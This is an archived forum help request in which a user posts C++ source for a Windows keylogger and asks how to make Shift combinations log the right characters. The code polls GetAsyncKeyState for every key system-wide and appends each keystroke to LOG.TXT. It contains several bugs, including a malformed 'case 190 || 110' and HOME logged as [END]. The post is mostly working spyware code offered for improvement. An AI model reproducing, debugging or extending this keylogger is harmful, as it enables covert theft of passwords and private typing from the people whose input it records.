Help me in file

Hello, i'm with a doubt in capture keyboard keys as "shift" because when I press shift + 2 for example, I would like that appears to the @, but I can not set up, help me. Look my code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <iostream>

using namespace std;

#include <windows.h>
#include <winuser.h>
#include <stdlib.h>
#include <stdio.h>
#include <string>

int save(int key_stroke, char *file);

int main()
{
    char i;
    while(1){
        for(i = 8; i <= 190; i++){
            if(GetAsyncKeyState(i) == -32767){
                save(i, "LOG.TXT");
            }
        }
    }
    system("PAUSE");
    return 0;
}


int save(int key_stroke, char *file)
{
    if(key_stroke == 1 || key_stroke == 2)
        return 0;
    FILE *OUTPUT_FILE;

    OUTPUT_FILE = fopen(file, "a+");


    switch(key_stroke){
    case 8:
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
        break;
    case 13:
        fprintf(OUTPUT_FILE, "%s", "\n");
        break;
    case 32:
        fprintf(OUTPUT_FILE, "%s", " ");
        break;
    case VK_TAB:
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
        break;
    case VK_SHIFT:
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        break;
    case VK_CONTROL:
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        break;
    case VK_ESCAPE:
        fprintf(OUTPUT_FILE, "%s", " ");
        break;
    case VK_END:
        fprintf(OUTPUT_FILE, "%s", "[END]");
        break;
    case VK_HOME:
        fprintf(OUTPUT_FILE, "%s", "[END]");
        break;
    case VK_LEFT:
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
        break;
    case VK_RIGHT:
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        break;
    case VK_DOWN:
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
        break;
    case 190 || 110:
        fprintf(OUTPUT_FILE, "%s", ".");
        break;
    default:
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    }

    fclose(OUTPUT_FILE);

    cout << key_stroke << endl;
    return 0;
}
Topic archived. No new replies allowed.